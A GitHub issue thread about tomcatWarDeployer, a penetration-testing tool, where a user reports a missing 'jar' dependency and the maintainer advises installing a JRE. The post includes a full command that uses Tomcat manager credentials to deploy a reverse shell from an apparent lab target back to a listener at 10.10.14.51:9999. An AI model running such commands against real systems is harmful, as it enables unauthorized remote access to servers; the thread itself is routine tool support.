Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ERROR: Executing 'where jar' returned: 'Command 'where jar' returned non-zero exit status 127' #19

Open
GiangTieuDau opened this issue Jun 27, 2022 · 1 comment

Comments

@GiangTieuDau
Copy link

GiangTieuDau commented Jun 27, 2022

Hi,
I cannot get the reverse shell on the target

python2 tomcatWarDeployer.py -U tomcatadm -P 'T0mc@t_s3cret_p@ss!' -H 10.10.14.51 -p 9999 -u /manager/html/ 10.129.89.161:8080

        tomcatWarDeployer (v. 0.5.2)
        Apache Tomcat auto WAR deployment & launching tool
        Mariusz Banach / MGeeky '16-18

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.

INFO: Reverse shell will connect to: 10.10.14.51:9999.
INFO: Apache Tomcat/9.0.31 (Ubuntu) Manager Application reached & validated.
INFO:   At: "http://10.129.89.161:8080/manager/html/"
ERROR: Executing 'where jar' returned: 'Command 'where jar' returned non-zero exit status 127'
Traceback (most recent call last):
  File "tomcatWarDeployer.py", line 1224, in <module>
    main()
  File "tomcatWarDeployer.py", line 1102, in main
    code, opts.title, opts.appname)
  File "tomcatWarDeployer.py", line 368, in generateWAR
    raise MissingDependencyError
__main__.MissingDependencyError

How to fix this?
Thanks!

@mgeeky
Copy link
Owner

mgeeky commented Jun 27, 2022

Hi,

So it looks like you don't have required jar command on your machine. Please install Java Runtime Environment (JRE), make sure that jar is available at your PATH and try again.

Regards,
Mariusz.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants